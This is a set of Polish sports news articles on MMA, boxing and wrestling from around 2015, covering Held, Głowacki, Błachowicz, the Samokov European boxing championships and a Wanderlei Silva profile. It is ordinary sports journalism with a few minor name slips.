Brooks to wyzwanie dla Helda. Polak imponuje znakomitym bilansem. Mimo młodego wieku stoczył już w MMA dwadzieścia cztery pojedynki, z których dwadzieścia jeden wygrał. Held w ponad pięćdziesięciu procentach przypadków zmusza swoich rywali do poddania. Ostatnim, który musiał odklepać był Alexandr Sarnavskiy. Do starcia doszło na kwietniowej gali Bellator 136, gdzie Brooks wypunktował Jansena. Co ciekawe, Amerykanin dwa lata temu zmierzył się z ostatnim rywalem Helda. Mistrz wagi lekkiej po trzech rundach okazał się lepszy od Rosjnina.

6 listopada w St. Louis Held stanie przed życiową szansą. Wygrana da mu tytuł króla Bellatora. Held może być drugim, obok Joanny Jędrzejczyk, mistrzem zagranicznej organizacji MMA.

KM

Srebrne ciosy

Udało się przełamać złą passę. Nasi bokserzy po siedmiu latach posuchy wywalczyli medal na mistrzostwach Europy. Dorobek naszej reprezentacji to dwa srebrne medale.

W Samokovie na podium stanęli Tomasz Jagodziński w kategorii 75kg i Igor Jakubowski w 91kg. Blisko medalu byli również Mateusz Tryc w 81kg oraz Dawid Jagodziński w 49kg.

Krok do złota

Tomasz Jabłoński wygrał cztery pojedynki, co umożliwiło mu udział w finale. Początek zmagań w mistrzostwach Europy to wygrana Polaka z Dmytro Tretyakiem przez dyskwalifikację Rosjanina, który uciekał się do nieczystych zagrań. Kolejne pojedynki z udziałem Jabłońskiego były zacięte i za każdym razem sędziowie podejmowali niejednogłośne decyzje. We wszystkich przypadkach lepszy był Polak, który potrafił w odpowiednim momencie zaznaczyć swoją przewagę. Jabłoński kolejno odprawił Leona Chartoi, Maxa van Der Pas i Salvatore Cavallaro. W finale rywalem polskiego pięściarza był Petr Khamukov. Rosjanin po drodze wygrywał wyraźnie. Wszystkie pojedynki zakończyły się na jego korzyść w stosunku 3:0.

Jabłoński od początku walki ruszył na swojego rywala i po serii ciosów starał się boksować w półdystansie. W niekorzystnych momentach Rosjanin klinczował, ale umiejętnie wyprowadzał krótkie ciosy. Druga odsłona zaczęła się podobnie do pierwszej, jednak Polak nie był już tak skuteczny. Khamukov wyprowadzał więcej ciosów, które dochodziły do celu i zdominował rywalizację w drugiej rundzie. W trzeciej części obu bokserom brakowało już sił. Nie szturmowali, lecz byli ostrożni i szukali swojej szansy. Sędziowie jednogłośnie orzekli zwycięstwo Khamukova, który został mistrzem Europy. Jabłoński zdobył srebrny medal, a zarazem wywalczył kwalifikację na mistrzostwa świata w Doha.

O pechu może mówić Igor Jakubowski. Srebrny medal mistrzostw Europy to ogromny sukces polskiego boksera, jednak z pewnością pozostaje żal, że zawodnik z Konina nie mógł wystąpić w finale. Jakubowski przegrał przez walkower. Polski pięściarz nie mógł wystąpić w finale kategorii 91kg z powodu kontuzji. Mistrzem Europy został Evgeny Tishchenko z Rosjii. Polak w całym turnieju odniósł trzy zwycięstwa. Dzięki sukcesowi w Samokovie uzyskał kwalifikację na mistrzostwa świata.

Nie udało się

W strefie medalowej znalazło się czterech Polaków, jednak tylko dwóm udało się stanąć na podium. Zatem skuteczność naszych zawodników wyniosła pięćdziesiąt procent.

Mateusz Tryc w kategorii 81kg imponował walecznością i zaciętością. Polak walczył całym sercem. W ćwierćfinale rywalem Tryca był Joshua Buatsi. Rywalizacja imponująca, obfitująca w dużą liczbę ciosów. Pięściarze musieli wykazać się wytrzymałością, wytrwałością i odpornością. Początek należał do Tryca, jednak to Brytyjczyk lepiej kondycyjnie zniósł tempo pojedynku. Polak zakończył udział w mistrzostwach na ćwierćfinale.

Ciekawy był przypadek Dawida Jagodzińskiego. Dobre losowanie sprawiło, że Polak znalazł się w ćwierćfinale kategorii 49kg. Jagodziński stoczył w Samokovie zaledwie jeden pojedynek. Harvey Horn okazał się lepszy od polskiego boksera, jednak ten ma zapewniony udział w mistrzostwach świata w Doha.

KM 

Nokaut na wagę mistrzostwa świata

Korki od szampanów jeszcze strzelają! Krzysztof Głowacki wywalczył mistrzostwo świata WBO wagi junior ciężkiej. Polak w jedenastej rundzie posłał na deski Marco Hucka.

Polska czekała na mistrza świata w boksie zawodowym po tym jak we wrześniu ubiegłego roku Krzysztof ”Diablo” Włodarczyk stracił pas WBC wagi junior ciężkiej. Minął prawie rok i najlepszy na świecie jest inny Krzysztof. Głowacki rozmontował Marco Hucka.

Potężny szok

Hala Prudential Center w Newark okazała się szczęśliwa dla polskiego boksera. Urodzony w Serbii Marco Huck był w posiadaniu mistrzowskiego pasa WBO od 2009 roku. W pojedynku z Głowackim bronił tytułu po raz czternasty. Niemiec był faworytem starcia z Polakiem i przed pojedynkiem lekceważył swojego rywala, który w ringu postanowił dać mu nauczkę.

Od początku walki widzowie mogli przecierać oczy ze zdumienia, a Huck mógł się czuć jak piłkarze pod zamkniętym dachem Stadionu Narodowego w meczu otwarcia Euro 2012. Niemiec był lekko śnięty, nieobecny, wycofany. W ringu, a niby poza nim. A Głowacki robił swoje. Postanowił ruszyć na Hucka i pokazać mu, że pas mistrzowski będzie miał nowego właściciela. Już pod koniec pierwszej rundy po ciosie na korpus czempion zachwiał się. Huck chował się za gardą. Polak był konsekwentny i szturmował swojego rywala. Huck chował głowę, a Głowacki mądrze obijał jego korpus.

Najprościej można powiedzieć, że Huck był sztywny. Przypomina się tekst Bolca z filmu „Chłopaki nie płaczą”, w którym to mówił, że „naszym chłopakom brakuje luzu”. Temu chłopakowi wyraźnie brakowało. Głowacki w trzeciej rundzie konsekwentnie obijał swojego rywala. Polak prowadził pojedynek i w czwartej rundzie przeważał, ale Huck powoli przebudzał się. W piątej odsłonie Niemiec zadawał liczne ciosy, jednak Głowacki dobrze się bronił. Nad głową Polaka zawisły czarne chmury. W szóstej rundzie wydarzyło się coś, co kilka minut wcześniej wydawało się niemożliwe. Mocnym lewym sierpowy Huck posłał Głowackiego na deski, jednak ten szybko wstał. Polak nie schował się, lecz atakował rywala, co okazało się dobrym posunięciem. Jednak cios Niemca nakazał Głowackiemu ostrożność, który w siódmym starciu trochę wycofał się, jednak już w kolejnej rundzie dyktował warunki. Huck był aktywny i dążył do odrabiania strat. Dziewiąta runda obfitowała w ostrożność. Huck i Głowacki nie chcieli podejmować ryzyka, ale urodzony w Serbii bokser zdecydował się na swego rodzaju prowokację. Huck po gongu uderzył polskiego boksera głową i rozciął mu łuk brwiowy.

Polak w koronie

Huck źle zaczął, w piątej rundzie wrócił do gry, w szóstej był o krok od triumfu, ale Głowacki był twardy i nieustępliwy. Jednak w dziesiątej odsłonie Polak po raz kolejny znalazł się w tarapatach. Huck zadawał dużą liczbę ciosów, które docierały do celu. W końcu Polak wypluł szczękę i udało mu się przetrzymać napór rywala.

Jedenastą odsłonę lepiej otworzył Głowacki. Huck wyczekiwał, ale to Polak przyspieszył i seria mocnych ciosów na głowę Niemca sprawiła, że ten padł na deski. Mistrz wstał, ale był półprzytomny. Głowacki takiej szansy nie mógł zmarnować. Polak przeprowadził skuteczny atak i Huck padł po raz kolejny. Tym razem nie był w stanie już wstać. Krzysztof Głowacki został nowym mistrzem świata WBO wagi junior ciężkiej.

Co ciekawe, wedle punktacji sędziowskiej zwycięstwo było po stronie Hucka. Głowacki ciężką pracą i konsekwencją sięgnął po mistrzowski pas.

KM

Zwycięstwo i porażka

Jeden z naszych reprezentantów przegrał swoją walkę w 1/8 finału mistrzostw Europy w boksie w bułgarskim Samokowie.

Dawid Michelus w kategorii 60kg musiał pożegnać się z turniejem. Pogromcą polskiego pięściarza okazał się  Joseph Cordina. Swoją walkę wygrał Mateusz Tryc w kategorii 81kg.

Szkoda Michelusa

Joseph Cordina wykorzystał przewagę warunków fizycznych nad polskim pięściarzem. Był wyższy od Michelusa, co przełożyło się na obraz walki. Warto zaznaczyć, że Polak pokazał się z dobrej strony i wyglądał lepiej niż w pierwszym starciu w mistrzostwach Europy. Jednak nie udało się.

Cordina wykorzystał swój zasięg ramion i w pierwszej odsłonie rywalizacji przeważał. Nie było wątpliwości, że ta runda zostanie zapisana na konto przeciwnika Michelusa. W drugiej rundzie walka była zacięta. Zarówno Polak jak i Brytyjczyk wyprowadzili podobną liczbę ciosów. Obaj byli aktywni i jednoznacznie trudno ocenić, komu należało przyznać zwycięstwo w drugiej odsłonie. Michelus miał świadomość, że aby wygrać musi dać z siebie jeszcze więcej. Polak do trzeciej rundy przystąpił zdeterminowany i ruszył na rywala. Był lepszy, aktywniejszy i co najważniejsze – skuteczny. Jednak w przekroju całego pojedynku sędziowie uznali, że zwycięstwo należy się Brytyjczykowi. Sędziowie punktowali trzy razy 29:28 na korzyść Cordiny. Michelus kończy swoją przygodę z mistrzostwami Europy.

Trudna wygrana

Do ćwierćfinału awansował Mateusz Tryc. Polak stanął przed ciężkim wyzwaniem w rywalizacji z Matajem Strnisko. Mocniej pojedynek rozpoczął Polak, który ruszył do przodu i trafiał ciosami na dół. W pierwszej rundzie obaj otrzymali ostrzeżenie za przetrzymywanie. Strnisko rozkręcał się powoli, ale przeważał Tryc. Słowak serwował mocne ciosy. Był uważny i z każdą kolejną sekundą wypatrywał swojej szansy na zaskoczenie rywala. Dokładnie przygotowana taktyka miała być źródłem sukcesu i obaj pięściarze starali realizować się swój plan. Decydująca miała być trzecia runda. Tryc postawił na ofensywę i sypał ciosami w stronę Słowaka, ale zapomniał o defensywie, w której miał problemy. Polak odrzucił wszelkie kalkulacje i za wszelką cenę chciał zdominować rywala. Okazało się, że w tym szaleństwie była metoda. Strnisko dwukrotnie uderzył Polaka głową, za co otrzymał ostrzeżenie. Kolejne uderzenie równało się już dyskwalifikacji. Tryc mógł cieszyć się z triumfu i awansu do ćwierćfinału.

Tylko jedna wygrana i czterech naszych pięściarzy będzie mogło rywalizować o medale. Oprócz Tryca w ćwierćfinale są już: Dawid Jagodziński (49kg), Tomasz Jabłoński (75kg) oraz Igor Jakubowski (91kg). Wydaje się, że medal jest realny i potrzebny. Na Igrzyskach Europejskich na podium stanął Mateusz Polski, a na mistrzostwach Europy od siedmiu lat posucha. Trzeba przełamać złą passę. Warto przypomnieć, że mistrzostwa Europy są zarazem kwalifikacją do mistrzostw świata w Dausze.

KM

Anulowana wygrana Polaka

Wszystko jest możliwe. Sędzia wskazał Macieja Browarskiego jako zwycięzcę pojedynku z Alessio Sakarą podczas gali Final Fight Championship w Wiedniu. Minęło dziewięć miesięcy i okazuje się, że pojedynek uznano za nierozstrzygnięty.

Cała sytuacja jest bardzo zastanawiająca i niepokojąca. Przede wszystkim prezentuje brak profesjonalizmu ze strony organizatorów gali.

Zwycięstwo, którego nie było

Takie sytuacje po prostu nie powinny mieć miejsca. Skoro walka odbyła się i werdykt sędziowski wskazał jednego z uczestników jako zwycięzcę, jest to niezaprzeczalny fakt, którego nie powinno się podważać. Oczywiście jest pewien wyjątek. Chodzi o  stosowanie niedozwolonych środków, jednak w tym przypadku o takiej możliwości nie ma mowy.

W grudniu 2014 roku Maciej Browarski w Wiedniu zmierzył się z Alessio Sakarą. Popularny „Legionarius” to doświadczony fighter, który już w 2005 roku pojawił się w UFC. Włoch stoczył dla najlepszej organizacji mieszanych sztuk walki na świecie piętnaście walk, co doskonale definiuje jego potencjał. UFC nie daje szansy byle komu, a na pewno nie w tak dużej ilości pojedynków. Fakt, że od  2011 roku Sakara notował same porażki, ale zaznaczył swoją obecność na amerykańskich arenach.

Browarski stanął więc przez trudnym zadaniem. Jednak w Wiedniu walczył ambitnie i sędzia ogłosił go zwycięzcą. Jego rywal doznał kontuzji, co uniemożliwiło mu kontynuowanie walki. Wygrana dla polskiego fightera mogłaby być ważnym krokiem w jego zawodowej karierze w MMA. Po raz kolejny Browarski zanotował dobry występ na gali organizacji Final Fight Championship, gdyż w 2013 roku okazał się lepszy od Jasona Jonesa. Minęło kilka miesięcy i obraz uległ zmianie.

Niewyobrażalne

Organizatorzy postanowili zmienić werdykt pojedynku. Pierwotnie mówiło się o możliwości rewanżowego starcia między Browarskim, a Sakarą. Ostatecznie włodarze FFC znaleźli inne rozwiązanie. Uznali, że walka się nie odbyła.

Trudno zrozumieć tę decyzję. Dodatkowo Maciej Browarski o zmianie statusu pojedynku nie został poinformowany. Cała sytuacja najlepiej świadczy o poziomie profesjonalizmu organizatorów gali i ich szacunku do zawodnika. Bez wątpienia jest to skandal, który nie powinien mieć miejsca. W trakcie pojedynku decydentem jest sędzia i nic tego nie może zmienić. Chyba, że uczestnik dopuścił się przewinienia bądź wykroczenia. Browarski walczył z Sakarą i w wyniku pojedynku Włoch doznał kontuzji, która nie pozwalała mu na kontynuowanie pojedynku, jednak rozjemca ringowy uznał, że zwycięstwo Browarskiemu się należy. Minęło kilka miesięcy i sprawa wraca na afisz. Jak to możliwe? Dlaczego po takim czasie zdecydowano się na taki krok? To po prostu niedorzeczne.

Maciej Browarski swój ostatni pojedynek stoczył w marcu podczas gali FEN6, kiedy przegrał z Marcinem Zontkiem. Sakara od pojedynku z Polakiem na pojawił się na arenie walki.

KM

Jakubowski w drodze po medal

Igor Jakubowski w kategorii 91kg wygrał ćwierćfinałową walkę podczas mistrzostw Europy w boksie w Samokowie i jest na najlepszej drodze, aby stanąć na podium.

Wyższość polskiego boksera musiał uznać Christian Demaj. Swój pojedynek wygrał również Tomasz Jabłoński. Na ćwierćfinałowe walki czekają Dawid Michelus (60kg) oraz Mateusz Tryc (81kg).

Pewne zwycięstwa

Igor Jakubowski był lepszy od swojego rywala pod każdym względem, co dostrzegli sędziowie. Polak nie dał najmniejszych szans Albańczykowi. Jakubowski na przestrzeni trzech rund kontrolował przebieg pojedynku i zadawał celne ciosy. Większa skuteczność przerodziła się na oceny sędziowskie. Zwycięstwo Jakubowskiego ani przez chwilę nie podlegało dyskusji. Wszyscy trzej sędziowie byli zgodni i punktowali 30:25 na korzyść zawodnika Zagłębia Konin.

Do ćwierćfinału mistrzostw Europy awansował również Tomasz Jabłoński w kategorii 75kg. Leon Chartoi ze Szwecji był wymagającym rywalem i pojedynek stał na wysokim poziomie. Walka rozpoczęła się od mocnego uderzenia. Obaj pięściarze nie oszczędzali się i wyprowadzali dużą liczbę ciosów. Jabłoński wystrzelił kombinacją lewy-prawy, czym zrobił wrażenie na Szwedzie, ale zawodnik ze Skandynawii nie zamierzał pozostawać bierny. Atakował Polaka i to niezwykle agresywnie. Sędzia ringowy musiał dwukrotnie go upominać za atak głową. Początek drugiej rundy nieco spokojniejszy. Bokserzy dążyli do klinczu. Być może narzucili zbyt wysokie tempo i chwilę musieli odetchnąć, ale szybko wrócili na właściwe tory. Jabłoński lewym prostym zaznaczył swój potencjał. Również Chartoi pokazał, że jest mocnym zawodnikiem i lewym sierpowym celnie trafił Polaka. Obaj dobrze się prezentowali i trudno było ocenić, kto zasługuje na zwycięstwo. Na szczęście była jeszcze trzecia runda. Znakomite tempo pojedynku, duża liczba ciosów. W trzeciej rundzie Jabłoński ruszył na rywala i chciał udowodnić swoją wyższość. Chartoi był znakomicie przygotowany kondycyjnie do pojedynku i przyzwoicie radził sobie w obronie. Wraz z ostatnim gongiem przyszedł czas na rozstrzygnięcie. Sędziowie stanęli przed nie lada wyzwaniem. Decyzja była niejednogłośna, jednak pozytywna dla Jabłońskiego. Sędziowie punktowali 30:27, 29:28 i 27:30.

Medal na wyciągnięcie ręki

I to w trzech przypadkach. Wystarczy, że nasi bokserzy wygrają po jeszcze jednej walce  i już będą w strefie medalowej.

W dobrej sytuacji jest Tomasz Jagodziński w kategorii 49kg, który na podstawie losowania jest już w pierwszej ósemce. O ćwierćfinał Polak zmierzy się z Harveyem Hornem. Roman Fres będzie rywalem Igora Jakubowskiego, z kolei Tomasz Jabłoński stanie naprzeciw Maksa van der Pasa.

Wszystko jest na najlepszej drodze, aby nasi pięściarze w końcu sięgnęli po medal mistrzostw Europy. Ostatni medal podczas europejskiego czempionatu Polska wywalczyła w 2008 roku za sprawą Marcina Łęgowskiego.

KM 

Wanderlei Silva

Brazylijski zawodnik MMA urodzony 3 lipca 1976 roku w Kurytybie. Przygodę ze sportami walki rozpoczął od Muay Thai, które zaczął trenować w wieku 13 lat w akademii Chute Box.  Swoją pierwszą profesjonalną walkę na zasadach Vale Tudo stoczył w listopadzie 1996 roku na gali BVF 6, na której znokautował Dilsona Filho.  W latach 1997-1999 Silva walczył dla Brazylijskiej organizacji International Vale Tudo Championship, wygrywając pięć z sześciu walk. Wszystkie przed czasem. W kwietniu 1999 roku został mistrzem IVC w wadze półciężkiej. W październiku 1998 roku zadebiutował w UFC podczas pierwszej gali tej organizacji organizowanej w Brazylii. W debiucie starł się z innym młodym zawodnikiem Vitorem Belfortem.  Silva przegrał ten pojedynek przez TKO. Rok później na gali UFC 20 znokautował Tony’ego Petarrę. Swoją trzecią walkę w UFC stoczył w 2000 roku o wakujący pas po Kenie Shamrocku. Walczył z Tito Ortizem, po pięciu wyrównanych rundach przegrał na punkty.  We wrześniu 1999 roku zadebiutował na ringu japońskiej federacji PRIDE FC. W latach 1999-2004 wygrał w PRIDE 18 kolejnych walk, nie licząc remisu z Mirko Filipoviciem i no-contest z Gilbertem Yvelem. Na gali PRIDE 13 w marcu 2001 walczył z gwiazdą Japońskiego MMA  Kazushim Sakurabą. Brazylijczyk efektownie wygrał przez TKO. Obaj zawodnicy spotkali się ponownie pół roku później na gali PRIDE 17 w walce o nowo wprowadzony pas mistrzowski PRIDE FC w wadze średniej. Ponownie wygrał Silva. W latach 2001-2004 zdominował rywalizację w swojej kategorii wagowej, pokonując m.in. Hidehiko Yoshidę, po raz trzeci Sakurabę oraz Quintona Jacksona w finale turnieju 2003 Pride Middleweight  Grand Prix.  W październiku 2004 roku stoczył rewanżową walkę z Jacksonem, której stawką był pas mistrzowski.  Walka przeszła do historii jako jedna z najlepszych i najbardziej zaciętych konfrontacji na ringach PRIDE FC. Silva znokautował Amerykanina w drugiej rundzie po pięciu ciosach kolanem w klinczu. Na gali Shockvawe 2004 Silva walczył z cięższym o 30 kg Markiem Huntem mistrzem K-1 z 2001 roku. Mimo iż Silva dominował w 3 rundzie, sędziowie przyznali wygraną Huntowi. Dla Brazylijczyka była to pierwsza porażka od ponad 4 lat, a także pierwsza przegrana w PRIDE.  W 2005 roku wystartował w turnieju 2005 Pride Middleweight Grand Prix, odpadł w półfinale z Ricardo Aroną. Następnie wygrał z nim w rewanżu na gali Shockvawe 2005. W 2006 roku stanął do walki z najlepszymi zawodnikami wagi ciężkiej w turnieju Open Weight Grand Prix. Po wygranej z Kazuyukim Fujitą, starł się po raz drugi z Mirko Filipoviciem. Tym razem Chorwat znokautował go lewym kopnięciem okrężnym na głowę.  W marcu 2007 roku Silva zmierzył się w Las Vegas z mistrzem Pride Danem Hendersonem. Stawką był pas wagi średniej należący do Silvy. W trzeciej rundzie Henderson znokautował Silve i odebrał mu pas, który dzierżył przez ponad 5 lat. Latem 2007 roku podpisał kontrakt z UFC, dzięki czemu doszło do długo wyczekiwanej walki z Chuckiem Liddellem. Brazylijczyk przegrał po trzech zaciętych rundach przez decyzję sędziów. Następnie Silva walczył na UFC 84, gdzie pokonał Keitha Jardine’a przez nokaut w 36 sekundzie pierwszej rundy. Na UFC 92 doszło do trzeciego starcia z Jacksonem. Tym razem wygrał Amerykanin. W czerwcu 2009 roku Silva przegrał przez decyzję z Richem Franklinem. Po tej walce przeszedł do wagi średniej. W lutym 2010 roku pokonał Michaela Bispinga przez jednogłośną decyzję. W lipcu 2011 roku na UFC 132 został znokautowany przez Chrisa Lebena.  19 listopada 2011 pokonał Cunga Le. 23 czerwca 2012 roku miał stoczyć rewanżowy pojedynek z Vitorem Belfortem, jednak z powodu złamania kości śródręcza Belfort wycofał się z pojedynku. Zastąpił go Rich Franklin, który przegrał na punkty. 3 marca 2013 roku pokonał Briana Stanna.

Przetarcie Błachowicza

Miała być walka marzeń, jednak Jan Błachowicz musi poczekać na wielki pojedynek. W Las Vegas mówiąc najprościej musi wykonać „dobrą robotę”, aby udowodnić, że zasługuje na rywalizację z Anthony’m Johnsonem.

Trudno jednoznacznie obecnie ocenić miejsce „Johna” w UFC. Debiut miał znakomity, jednak podczas walki w Krakowie z Jimim Manuwą nie potwierdził swoich możliwość. I nagle w kontekście rywala Błachowicza pada nazwisko Johnsona. Początkowo niedowierzanie, a potem wielkie nadzieje, że Polak staje przed ogromną szansą.

Czar prysł

Jedno zaskoczenie goni drugie w przypadku Jana Błachowicza. Tak naprawdę nie dostał szansy na rywalizację z Johnsonem. Z dnia na dzień Polaka poinformowano, że do jego pojedynku z Amerykaninem jednak nie dojdzie. Rywalem zawodnika numer jeden w kategorii półciężkiej będzie niedawny pogromca Błachowicza Jimi Manuwa.

Czy taki obrót spraw będzie korzystny dla polskiego fightera? – Moim zdaniem " co się odwlecze to nie uciecze" . Wiadomo, że to nic dobrego jak zmieniają zawodnikowi przeciwnika, jednak w tej sytuacji Janek będzie mógł "przetrzeć się " na dużo słabszym od Anthony Johnsona zawodniku. Poza tym jak mówi sam Janek zrekompensowano mu zmianę pod względem finansowym, co oczywiście także nie jest bez znaczenia – ocenia redaktor naczelny portalu gripnews.pl Grzegorz Mandzyn.

W każdej sytuacji trzeba dopatrywać się dobrych stron i nadziei na przyszłość. Niewykluczone, że Błachowicza nie ominie starcie z Amerykaninem, ale będzie do niego lepiej przygotowany i co najważniejsze bardziej obyty w UFC. – Jeśli wszystko pójdzie dobrze, Janek pewnie w niedługim czasie będzie mógł zmierzyć się z Anthonym, mocniejszy o pojedynki z kolejnymi zawodnikami UFC – zauważa Mandzyn.

Wrześniowy bój

Jan Błachowicz zaprezentuje się 5 września podczas gali UFC 191 w Las Vegas. Kto będzie jego rywalem? Amerykanina zastąpi Amerykanin, tyle, że mniej znany.

W oktagonie na polskiego fightera będzie czekał Corey Anderson, który jest o siedem lat młodszy od „Johna”.  25-latek zbiera doświadczenie. Do tej pory stoczył w MMA sześć pojedynków, w których poniósł jedną porażkę. W swoim ostatnim występie podczas UFC on Fox 15 Anderson musiał uznać wyższość Giana Villante. Dla 25-latka z Rockton rywalizacja z Polakiem będzie czwartym pojedynkiem w UFC. Szczególnym atutem Andersona jest szybkość i skuteczność ciosów. Większość wygranych walk Amerykanin kończył przez nokaut po zadaniu dużej liczby mocnych i celnych uderzeń.

Czy doświadczony Błachowicz będzie w stanie zatrzymać Andersona? Polak musi to uczynić, aby uczynić krok w kierunku walki marzeń. Wygrana jest Błachowiczowi potrzebna jak rybie woda. Polak musi uwierzyć w siebie, aby wejść na szczyt. Każda kolejna wygrana będzie budowała w nim potrzebną siłę i determinację, aby odnieść sukces w UFC. Dlatego też takiej walki przegrać po prostu nie może.

KM

Twarde potyczki słowne

Walka na słowa trwa. Nie szczędzą sobie uszczypliwości, które nakręcają jeszcze bardziej i tak skomplikowaną już sytuację. Tylko ring może dać odpowiedź na pytanie, która z nich jest lepsza: Ewa Brodnicka czy Ewa Piątkowska.

Zaczynały razem, na jednej sali treningowej, jednak te czasy dawno już minęły. Dobre chwile odeszły w zapomnienie, a z każdym kolejnym dniem atmosfera robi się coraz bardziej gorąca. Piątkowska związała się z grupą KnockOut Promotions, a Brodnicka z Tymex Promotion.

Pożądane starcie

O pojedynku obu pań mówi się już od dłuższego czasu. Ciśnienie z każdym dniem rośnie, co dodatkowo potęguje emocje związane z walką. Początkowo mówiło się, że do starcia obu zawodniczek dojdzie 8 listopada podczas gali Polsat Boxing Night w Krakowie. Teraz na afiszu pojawia się data 26 września. Wydaje się, że tego starcia nie da się uniknąć.

Można tylko domniemywać, co jest powodem negatywnych uczuć narastających między Brodnicką i Piątkowską. Obie nie zdradzają powodów wzajemnej niechęci. Każda kolejna wypowiedź jest coraz bardziej gorąca i prowokuje rywalkę do równie mocnej odpowiedzi. Piątkowska w jednym z wywiadów powiedziała, że byłaby w stanie kilka razy pokonać 31-letnią bokserkę z Warszawy. Brodnicka nie pozostała dłużna i szybko zareagowała. Była kickbokserka powiedziała, że chętnie by Piątkowską dotkliwie pobiła (wersja delikatniejsza).

Pozytywna strona

Chcąc, nie chcąc obie panie robią reklamę i promują kobiecy boks. Ostre oraz wyraziste odpowiedzi rodzą coraz większe zainteresowanie pięściarstwem w żeńskim wydaniu. Do tej pory Brodnicka i Piątkowska nie poniosły porażki na zawodowym ringu. W tym roku stoczyły po dwa pojedynki, w którym potwierdziły swój kunszt. Warto zaznaczyć, że Piątkowska w swojej karierze cztery pojedynki skończyła przed czasem, zaś Brodnicka dwa.

Mają podobne doświadczenie ringowe, ale nadchodzi czas, w którym muszą się spotkać, aby wyłonić tę, która zasługuje na miano najlepszej w Polsce. W ten sposób wątpliwości raz na zawsze zostaną rozwiane, a dla jednej z nich ten pojedynek może być trampoliną w świat wielkiego boksu.

Na ostro

W jednym z ostatnich wywiadów Ewa Piątkowska powiedziała, że w żaden sposób nie ceni Brodnickiej. To kolejna odsłona wojny słownej. Brodnicka postanowiła odnieść się do słów popularnej „Tygrysicy”. – W jednym z wywiadów Piątkowska powątpiewa w moje umiejętności pięściarskie. Bardzo mnie to rozbawiło i dlatego nie mogę się doczekać, kiedy udowodnię jej w jak dużym jest błędzie. Piątkowska chyba zapomniała, że przegrywała ze mną każdy sparing i nie ma podstaw do takich wypowiedzi – mówi bokserka Tymex Promotion. I dodaje: – Nie wiem jak mam się odnieść do tego, że Piątkowska nie szanuje mnie jako osoby. Dla mnie osobiście nie ma to żadnego znaczenia. Może mnie nie lubić, nie szanować, a w ringu będzie się liczyła tylko walka i poziom naszej inteligencji pięściarskiej. Szczerze nudzi mnie na siłę podkręcanie atmosfery i jej nieprzemyślane gadanie. To jest ewidentnie z jej strony pewna forma promocji. Jestem pewna, że w naszym pojedynku wygra lepsza!

KM

Polak mistrzem Europy

Trzeba było wykazać się cierpliwością. Opłacało się! Na ostatniej prostej mistrzostw Europy kadetów w zapasach w Suboticy po złoty medal sięgnął Gerard Kurniczak w kategorii 85kg.

Dorobek polskich zapaśników na europejskim czempionacie jest zadowalający. Cztery medale są wynikiem, który pokazuje, że nasi kadeci prezentują dobrą dyspozycję. Warto podkreślić, że biało-czerwoni w kilku przypadkach byli blisko sukcesów –aż sześć naszych zapaśniczek i czterech zawodników w stylu wolnym zajęło piąte lokaty.

Klasyczne złoto

Ostatnie dni zawodów były zmaganiami zapaśników w stylu klasycznym i wyniki naszych zawodników nie powalają na kolana, ale jeden start to wszystko w zupełności rekompensuje. W kategorii 85kg bezkonkurencyjny był Gerrard Kurniczak. Dobry występ zaliczył również Patryk Kamiński w 100kg.

Dwudziestu dwóch zawodników stanęło do rywalizacji w kategorii 85kg. Kurniczak rozpoczął zawody w Suboticy od pojedynku z Danem Castrasanem z Mołdawii. Polak wykazał się spokojem i kontrolował w pełni walkę, co pozwoliło odnieść mu pewne zwycięstwo. W 1/8 finału o sile Kurniczaka przekonał się Francuz Valid Dechiyev. Markus Ragginer liczył, ze zatrzyma pochód Polaka w ćwierćfinale, jednak przeliczył się. Kurniczak po raz kolejny pokazał, że jest twardy i potrafi decydować o obliczu walki. Nasz zawodnik był już w strefie medalowej. Wystarczyło wykonać jeden krok, aby walczyć o złoto. Kurniczak w półfinale uporał się z groźnym Gruzinem Giorgim Schavadze. W finale wyższość polskiego zapaśnika musiał uznać Arvi Sovolainen.

Polska wraca z Serbii ze złotem, na które trzeba były czekać do ostatniej odsłony rywalizacji. Pierwsze miejsce Kurniczaka niejako rekompensuje w większości przypadków słabe występy naszych zawodników w stylu klasycznym. Jeszcze tylko Kamiński zmieścił się w pierwszej dziesiątce. Dwóch z naszych zawodników zajęło ostatnie miejsca w swoich kategoriach wagowych.

Dziewczyny z medalami

Zdobycz medalowa to zasługa naszych zapaśniczek, które pokazały się z dobrej strony. Mimo, że nie wywalczyły złotego medalu to w klasyfikacji drużynowej uplasowały się na drugiej lokacie. Na ten wynik złożyły się dwa srebrne medale, jeden brąz oraz aż sześć piątych miejsc.

Alicja Czyżowicz w kategorii 52kg zdobyła srebro. Lepsza od naszej zawodniczki okazała się tylko Alina Kazymowa z Rosji. Polka już w pierwszej walce stanęła przed trudnym zadaniem, gdyż rywalizowała z Aliną Akkobią, która stanęła na trzecim miejscu podium. Również na drugiej pozycji w kategorii 65kg uplasowała się Ewelina Ciunek. Polka musiała wygrać dwie walki, aby walczyć o złoto, jednak w decydującej walce uznała wyższość Koumby Larroque. Dominika Kulwicka w kategorii 56kg zaczęła start w Suboticy od wygranej, jednak przegrana w ćwierćfinale zmusiła ją do walki w repasażach. Polka znakomicie sobie poradziła, co dało jej możliwość rywalizacji o medal mistrzostw Europy. Kulwicka pokonała Shaban Amadovą i wywalczyła trzecie miejsce.

KM

Bokserskie zmagania w Bułgarii

Polscy pięściarze walczą w mistrzostwach Europy w Samokołowie. Trener Zbigniew Raubo zabrał do Bułgarii siedmiu zawodników.

Polska czeka na medal europejskiego czempionatu od 2008 roku. Wtedy w Liverpoolu po brązowy medal sięgnął Marcin Łęgowski. Starty w Moskwie, Ankarze i Mińsku lepiej przemilczeć. Czy w Bułgarii nastąpi przełamanie?

Zwycięstwo Michelusa

Początek startów w Samokołowie dla Polaków był optymistyczny. W swojej pierwszej walce triumf odniósł Dawid Michelus (60kg). Polak stanął w eliminacjach do pojedynku z Artiomsem Ramlavsem, który okazał się wymagającym rywalem. Walka była zacięta, pełna agresji i spięć. Michelus okazał się bokserem dojrzalszym, lepiej kontrolował wydarzenia w ringu, co pozwoliło mu cieszyć się z wygranej. Trzy rundy twardej rywalizacji rozstrzygnęły się na korzyść polskiego boksera. Michelus wygrał na punkty 2:1. Kolejnym rywalem Polaka będzie Joseph Cordina.

